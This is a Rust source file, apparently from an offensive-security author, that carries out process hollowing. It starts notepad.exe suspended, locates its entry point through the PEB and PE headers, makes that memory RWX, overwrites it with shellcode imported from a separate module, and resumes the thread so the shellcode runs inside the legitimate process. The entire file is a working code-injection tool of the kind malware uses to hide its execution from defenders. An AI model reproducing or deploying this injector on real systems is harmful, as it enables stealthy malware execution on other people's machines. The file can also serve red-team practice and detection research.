/*
    Process Hollowing in Rust
    Ft: @5mukx
*/

use windows::{
    core::{PSTR, Result},
    Win32::{
        Foundation::{CloseHandle, HANDLE, NTSTATUS},
        System::{
            Diagnostics::Debug::{ReadProcessMemory, WriteProcessMemory},
            Memory::{VirtualProtectEx, PAGE_EXECUTE_READWRITE},
            Threading::{
                CreateProcessA, ResumeThread, PROCESS_BASIC_INFORMATION, CREATE_SUSPENDED,
                PROCESS_INFORMATION, STARTUPINFOA,
            },
        },
    },
    Wdk::System::Threading::{NtQueryInformationProcess, ProcessBasicInformation},
};

use std::{
    ffi::{c_void, CString},
    mem::{size_of, zeroed},
};

mod shellcode;
use crate::shellcode::SHELLCODE;

fn main() -> Result<()> {

    let command_line_str = "C:\\Windows\\System32\\notepad.exe";
    println!("[+] Targeting process: {}", command_line_str);

    unsafe {
        let mut startup_info: STARTUPINFOA = zeroed();
        startup_info.cb = size_of::<STARTUPINFOA>() as u32;
        let mut process_info: PROCESS_INFORMATION = zeroed();

        // CString is needed for C-style strings
        let command_line = CString::new(command_line_str).expect("CString::new failed");

        // Create the process in a suspended state
        // NtCreateUserProcess
        CreateProcessA(
            None,
            Some(PSTR(command_line.as_ptr() as *mut u8)),
            None,
            None,
            false,
            CREATE_SUSPENDED,
            None,
            None,
            &startup_info,
            &mut process_info,
        )?;

        println!(
            "[-] New process spawned. PID: {}",
            process_info.dwProcessId
        );

        let mut pbi: PROCESS_BASIC_INFORMATION = zeroed();
        let mut return_length = 0u32;

        // NtQueryInformationProcess

        let status = NtQueryInformationProcess(
            process_info.hProcess,
            ProcessBasicInformation,
            &mut pbi as *mut _ as *mut c_void,
            size_of::<PROCESS_BASIC_INFORMATION>() as u32,
            &mut return_length,
        );

        if status != NTSTATUS(0) {
            println!("[x] Error querying process information!");
            close_handles(process_info.hProcess, process_info.hThread);
            return Ok(());
        }
        println!("[-] PEB base address: {:#x}", pbi.PebBaseAddress as usize);


        let mut image_base: usize = 0;
        
        
        // NtReadVirtualMemory

        ReadProcessMemory(
            process_info.hProcess,
            (pbi.PebBaseAddress as usize + 0x10) as *const _,
            &mut image_base as *mut _ as *mut c_void,
            size_of::<usize>(),
            None,
        )?;
        println!("[-] File image base address: {:#x}", image_base);

        // Read the first 1024 bytes (PE headers) from the image base

        // NtReadVirtualMemory
        let mut headers = [0u8; 1024];
        ReadProcessMemory(
            process_info.hProcess,
            image_base as *const _,
            headers.as_mut_ptr() as *mut c_void,
            headers.len(),
            None,
        )?;

        let e_lfanew = i32::from_le_bytes(headers[0x3C..0x40].try_into().unwrap());
        println!("[-] e_lfanew: {:#x}", e_lfanew);

        // Get the EntryPoint RVA from the Optional Header
        let opthdr_offset = e_lfanew as usize + 0x28;
        let entrypoint_rva = u32::from_le_bytes(
            headers[opthdr_offset..opthdr_offset + 4]
                .try_into()
                .unwrap(),
        );
        let entrypoint_address = image_base + entrypoint_rva as usize;
        println!("[-] Entry point RVA: {:#x}", entrypoint_rva);
        println!("[-] Entry point address: {:#x}", entrypoint_address);

        let mut old_protect = Default::default();


        println!("[~] Changing memory protections to RWX...");
        
        // NtProtectVirtualMemory 

        VirtualProtectEx(
            process_info.hProcess,
            entrypoint_address as *const c_void,
            SHELLCODE.len(),
            PAGE_EXECUTE_READWRITE,
            &mut old_protect,
        )?;


        println!("[+] Memory protections changed successfully.");

        // 
        println!("[~] Writing shellcode to entry point...");

        // NtWriteVirtualMemory
        WriteProcessMemory(
            process_info.hProcess,
            entrypoint_address as *mut _,
            SHELLCODE.as_ptr() as *const c_void,
            SHELLCODE.len(),
            None,
        )?;
        println!("[+] Shellcode written successfully.");

        println!("[~] Restoring original memory protections...");
        let mut dummy = Default::default();

        // NtProtectVirtualMemory
        VirtualProtectEx(
            process_info.hProcess,
            entrypoint_address as *const c_void,
            SHELLCODE.len(),
            old_protect,
            &mut dummy,
        )?;
        println!("[+] Memory protections restored.");

        // NtResumeThread
        ResumeThread(process_info.hThread);
        println!("[+] Main thread resumed. Check for shellcode execution.");

        // Clean up handles
        close_handles(process_info.hProcess, process_info.hThread);
    }

    Ok(())
}

fn close_handles(process: HANDLE, thread: HANDLE) {
    unsafe {
        CloseHandle(process).unwrap();
        CloseHandle(thread).unwrap();
    }
}
